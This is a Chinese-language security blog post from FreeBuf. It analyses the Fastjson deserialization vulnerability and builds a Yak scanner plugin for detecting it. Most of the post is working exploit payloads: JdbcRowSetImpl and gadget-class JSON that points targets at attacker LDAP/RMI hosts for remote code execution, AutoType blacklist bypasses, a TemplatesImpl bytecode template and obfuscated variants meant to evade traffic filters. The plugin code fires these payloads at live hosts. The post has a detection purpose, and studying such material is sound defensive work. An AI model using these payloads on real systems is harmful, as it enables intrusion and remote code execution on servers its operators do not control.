freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

FastJson 启发式检测
2023-11-06 17:04:14

Fastjson payload有很多版本,有些检测工具简单粗暴的将所有payload打了一遍,效率很低,本篇文章意在找出适用范围最广的payload,高效的完成漏洞检测

下面是两个最通用的payload:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

{"x":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1/aaa","autoCommit":true}}

fastjson漏洞分析

环境搭建

首先创建一个maven项目,pom.xml中加入fastjson依赖

<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>

测试代码如下:

import com.alibaba.fastjson.JSONObject;

public class fastjsonTest {
public static void main(String[] args){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://x.x.x.x:1099/jndi\", \"autoCommit\":true}";
JSONObject.parse(payload);
}
}

调试跟踪

第一个payload

解析json部分代码在fastjson-1.2.24.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.class#

parseObject中

解析流程是先创建JSONScanner(词法分析器),当遇到key之前的"时,检查symbols:$ref和@type

1699260286_6548a77e0670666882e49.png!small?1699260286492

这里的ref是value,即com.sun.rowset.JdbcRowSetImpl,然后通过类名加载对应类

1699260301_6548a78d66c411cd5ba7b.png!small?1699260301974

这里除了直接用类名,还有几种变形payload:

Lcom.sun.rowset.JdbcRowSetImpl;、LLcom.sun.rowset.JdbcRowSetImpl;;、[com.sun.rowset.JdbcRowSetImpl

原因是TypeUtils.loadClass方法中对类名做了处理,如图,当className是L开头;结尾,直接去掉(注意这里是用的递归,所以在类名前加多少L都可以)(这么做是为了兼容JNI字段描述符)

1699260336_6548a7b0c5c05e6c7f1ba.png!small?1699260337630

如果是[开头,也是直接忽略掉,然后加载类,但返回的是com.sun.rowset.JdbcRowSetImpl类型数组的class

类加载成功后,根据类型,获取deserializer(不妨叫它反序列化器吧),开始“反序列化”

1699260353_6548a7c1d681465622028.png!small?1699260354549

反序列化过程在fastjson-1.2.24.jar!/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class#deserialze方法中

大概流程就是,创建一个空对象,然后调用setXxx方法,为对象属性赋值,payload中有两个属性dataSourceName和autoCommit,com.sun.rowset.JdbcRowSetImpl的setAutoCommit方法会对dataSourceName进行lookup(相关代码在com/sun/rowset/JdbcRowSetImpl.java),导致jndi或rmi注入

1699260379_6548a7db1d02efa68471f.png!small?1699260379949

1699260385_6548a7e1494404a21eeb9.png!small?1699260385882

再看看,如果类名是[开头的payload:

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{, "dataSourceName":"ldap://127.0.0.1:1389/Exploit", "autoCommit":true}

[com.sun.rowset.JdbcRowSetImpl加载时得到的是数组类型

关键是如何在反序列化时,将属性值赋值给JdbcRowSetImpl对象,所以重点关注词法分析器如何解析json的

在数组反序列化器中调用了parseArray方法,根据成员类型,再反序列化com.sun.rowset.JdbcRowSetImpl

如图,获取到类名后,调用nextToken(16),这里的16标志着期待下一个字符是},结尾(但实际上下一个字符是[)

1699260422_6548a8066c43f8927aed6.png!small?1699260422966

当匹配失败后,可能是为了容错,还会继续调用nextToken()方法,匹配到[,token设置为14,在数组反序列化器中调用了nextToken(12),匹配了{,然后调用scanSymbol方法,但现指向字符是,,所以得到的key是null,进入下一次循环,得到key:dataSourceName

实际测试去掉这个:

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

依然有效。

调试时发现payload还可以变形:

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[<任意数量的,>{<任意数量的,>"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

第二个payload

对比第一个payload,多了个

{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}

这个是对AutoType绕过的,1.2.25才有AutoType,如图,原来直接loadClass改为了checkAutoType。

1699260562_6548a892b426c808907a8.png!small?1699260563205

在checkAutoType方法中,未开启AutoType情况下会有下面两种加载方式,先看getClassFromMapping

1699260575_6548a89ff272b08b4e085.png!small?1699260576439

如图,从mappings中取

1699260588_6548a8acb15006169b451.png!small?1699260589605

第二种是从deserializers中取,如图deserializers是内置的一些类和对应的反序列化器

1699260602_6548a8ba25575a41e0db8.png!small?1699260603722

而且deserializers是private类型变量,在当前类里搜deserializers.put,发现有个public方法putDeserializer是可以向deserializers添加新数据的,全局搜索下,有两个方法调用,但都不能利用,所以这种加载方式pass

再看mapping,也是private类型,搜下mappings.put,发现loadClass有调用,load过的class都会存到mapping。全局搜索TypeUtils.loadClass,发现4个调用的地方,有两个需要开启autoTypeSupport,还有一处在白名单内,也pass(这里可以看出,即使开启了autoTypeSupport,也不能直接加载目标类,因为有黑白名单限制)

1699260617_6548a8c9eabadba40043a.png!small?1699260618682

最后一处在MiscCodec.deserialze方法中

1699260632_6548a8d8694fda632ecfb.png!small?1699260632964

MiscCodec继承了ObjectDeserializer,所以它应该反序列化器,所以去deserializers中看下这是谁的反序列化器。

1699260648_6548a8e8a44c025076109.png!small?1699260649390

这么多类都用它反序列化,再看下MiscCodec.deserialze方法,发现里面都是if,应该是把一些简单的类都塞到这里了,TypeUtils.loadClass在Class.class的判断里,所以大概猜到,Class类在反序列化时会调用TypeUtils.loadClass,再看下传入loadClass的参数,是在前面解析的"val"对应的value

到此大概猜出,可以用{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}先加载一遍com.sun.rowset.JdbcRowSetImpl,放进mapping缓存,下次加载com.sun.rowset.JdbcRowSetImpl可以通过缓存加载,从而绕过AutoType的限制。


AutoType和黑白名单

在1.2.25版本后,增加了AutoType和黑白名单的限制

根据黑白名单逻辑,当AutoType为False时不会进入这段黑白名单判断代码(1.2.25版本)

1699260687_6548a90fa1e02e267d921.png!small?1699260688129

除了这种黑名单,还有一种黑名单,如下,要同时满足,在黑名单内且不在mapping内,明显这种通过第二种payload,可以在mapping中添加目标类的缓存,从而绕过:

if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null)

还有一种黑名单只做了这个判断if (Arrays.binarySearch(denyHashCodes, hash) >= 0,而且com.sun.*都被禁了,同时关闭了缓存,不能通过第二种paylaod绕,只能通过不在黑名单中的第三方库绕过。


总结

看下fastjson漏洞修复历史(这里的绕过是针对第一个payload的变形)

1699260871_6548a9c716ea2dbd8ca47.png!small?1699260871949

1699260883_6548a9d3cc3402d22001e.png!small?1699260884376

如图:AutoType关闭时,1.2.25 ~ 1.2.47版本都可以通过第二个payload绕过;AutoType开启时,1.2.25 ~ 1.2.32版本由于会进入黑名单判断。所以要用第一个payload的绕过变形(通过类名前后加L、;绕过即可),1.2.32~1.2.47可以利用第二个payload绕过。

综上,在<=1.2.47的版本关闭AutoType的都可以用下面两种payload绕过。

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass","autoCommit":true}}

这两个payload通过jndi或rmi检测,检查dnslog反连,受jdk版本限制。同样的java.net.InetAddress也可以检查dnslog反连,且不受jdk版本、黑名单影响,而且在deserializers里自带,不需要绕过autotype,而且可以检查未开启AutoType的1.2.48之后的版本,所以最终payload如下:

{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}
// 还有一种畸形payload
{"@type":"java.net.InetSocketAddress"{"address":,"val":"xxx.dnslog.cn"}

调试时发现在1.2.25后的版本,在checkAutoType中都有下面代码:

1699261005_6548aa4dedc02e3f13fd5.png!small?1699261006530

所以可以用下面方式绕过一些流量检测设备。

{"@type":"java$net$Inet4Address","val":"xxx.dnslog.cn"}

在1.2.48版本中,默认关闭缓存,而且java.lang.Class和java.net.InetAddress也被加进了黑名单

所以1.2.48后的版本利用前提是需要开启AutoType,而且存在某个不在黑名单中的第三方库可以利用,这个gadget就很多了。

下面是我在网上收集的几个高版本payload:

1.2.45

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}}

1.2.62

{
"@type":"org.apache.xbean.propertyeditor.JndiConverter",
"AsText":"rmi://{{interactsh-url}}/exploit"
}

1.2.66

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}

不出网的利用

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
例:
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["<base64编码的bytecodes>"],
"_name":"c",
"_tfactory":{},
"outputProperties":{}
}

注:测试时发现有时在解析json前会判断类型是否匹配,匹配失败则在解析前抛出异常。所以需要将payload改造一下,如:

{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}改为{"a":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}

yak插件实现

payload分为三类,大概逻辑是首先使用Inet4Address检测,如果存在fastjson,则继续测试jndi利用payload,否则继续测试高版本payload。

mitm模块有5个hook方法,这里使用mirrorNewWebsitePath方法,可以保证每个路径只检测一次

而且在mirrorNewWebsitePath方法中,可以对响应包做检测,如果是json数据,才开始fastjson漏洞检测。可以有效减少无效发包数量。

# mitm plugin template

#--------------------------WORKSPACE-----------------------------
__test__ = func() {
results, err := yakit.GenerateYakitMITMHooksParams("GET", "http://192.168.101.211:26468/")
if err != nil {

return
}
isHttps, url, reqRaw, rspRaw, body = results
mirrorNewWebsitePath(results...)
}

highVersionPayload = [`{"{{randstr(2)}}":{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"{{params(reverseConnTarget)}}"}}}`,`{"{{randstr(2)}}":{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"{{params(reverseConnTarget)}}"}}`,`{"{{randstr(2)}}":{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"{{params(reverseConnTarget)}}"}}`,`{"{{randstr(2)}}":{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"{{params(reverseConnTarget)}}"}`,`{"{{randstr(2)}}":{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"{{params(reverseConnTarget)}}"}}}`,`{"{{randstr(2)}}":{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"{{params(reverseConnTarget)}}"}}}`]
dnslogPayloads = [`{"{{randstr(2)}}":{"@type":"java.net.InetSocketAddress"{"address":,"val":"{{params(reverseConnTarget)}}"}}}`,`{"{{randstr(2)}}":{"@type":"java.net.Inet4Address","val":"{{params(reverseConnTarget)}}"}}`]
nextPayload = [`{"{{randstr(2)}}":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"{{randstr(2)}}":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"{{params(reverseConnTarget)}}","autoCommit":true}}`,`{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,,,{,,,"dataSourceName":"{{params(reverseConnTarget)}}", "autoCommit":true}`]


fastJsonCount = 0
lock = sync.NewLock()
addTask = func() {
lock.Lock()
defer lock.Unlock()

fastJsonCount++
yakit_status("FastJSON 检查任务", sprint(fastJsonCount))
}

subTask = func() {
lock.Lock()
defer lock.Unlock()

fastJsonCount--
if fastJsonCount > 0 {
yakit_status("FastJSON 检查任务", sprint(fastJsonCount))
}else{
yakit_status("FastJSON 检查任务", "暂无执行中")
}
}

mirrorNewWebsitePath = func(isHttps /*bool*/, url /*string*/, req /*[]byte*/, rsp /*[]byte*/, body /*[]byte*/) {
addTask()
defer subTask()
defer func {
err = recover()
if err != nil {
log.error("MITM FastJSON ERROR: %v", err)
}
}

host, port, err = str.ParseStringToHostPort(url)
addr = str.HostPort(host, port)

rspIns, err = poc.ParseBytesToHTTPResponse(rsp)
if err != nil {
println(err)
return
}


result = str.Join(rspIns.Header["Content-Type"], "; ")
if (!str.MatchAllOfSubString(str.ToLower(result), "json")) && (!str.IsJsonResponse(rspIns)) {
log.info("not a valid json type: %v", result)
return
}

yakit_output(sprintf("Start to check fastjson vuln for: %v", addr))
freq, err = fuzz.HTTPRequest(req)
die(err)

yakit_output("Start to fetch DNSLog")
domain, token, err = risk.NewDNSLogDomain()// "ldap://127.0.0.1:123/123"
if err != nil {
yakit_output("Fetch DNSLog Failed: %s", err)
return
}
yakit_output(sprintf("Fetch domain: %s",domain))
reverseConnTarget = sprintf("ldap://%v/%v", domain, str.RandStr(10))
freq, err = fuzz.HTTPRequest(req)
if err != nil {
yakit_output("build http request failed: %s", err)
return
}

payloadRes = []
fuzzInfo = nil
riskLevel = ""
checkVul = fn(host,port){
genPayload = fn(payloadRaw,rev) {
return fuzz.StringsWithParam(payloadRaw, {"reverseConnTarget":rev})[0]
}
testPayload = fn(payload) {
yakit_output(sprintf("Send payload: %s",payload))
freq = freq.FuzzMethod("POST").FuzzHTTPHeader("Content-Type", "application/json").FuzzPostRaw(payload)
res, err = freq.Exec(httpool.https(isHttps), httpool.size(1))
for result = range res {
results, err = risk.CheckDNSLogByToken(token)
if err != nil {
yakit_output(sprintf("check dnslog result failed: %s", err))
continue
}
if len(results) > 0 {
fuzzInfo = result
payloadRes = append(payloadRes,payload)
return true
}
}
return false
}
for _,dnslogPayload = range dnslogPayloads{
if testPayload(genPayload(dnslogPayload,domain)){
riskLevel = "middle"
for _,payloadRaw = range nextPayload{
if testPayload(genPayload(payloadRaw,reverseConnTarget)){
riskLevel = "critical"
return true
}
}
return true
}
}
for _,payloadRaw = range highVersionPayload{
if testPayload(genPayload(payloadRaw,reverseConnTarget)){
riskLevel = "critical"
return true
}
}
return false
}

if checkVul(host,port){
yakit_output(sprintf("FastJson Found! %v", addr))

risk.NewRisk(
addr, risk.payload(str.Join(payloadRes, "\r\n")),
risk.type("rce"), risk.level(riskLevel),
risk.title(sprintf("FastJSON RCE via DNSLog: %v", addr)),
risk.titleVerbose(sprintf("FastJSON 远程命令执行(DNSLog): %v", addr)),
risk.details({
"request": fuzzInfo.RequestRaw,
"response": fuzzInfo.ResponseRaw,
"token": token,
"domain": domain,
}),
risk.token(token),
)
}else{
yakit_output(sprintf("Target: %s is invulnerable", host))
}

}

YAK官方资源 :

Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ

# 漏洞检测 # Fastjson # 检测工具 # FastJson 漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录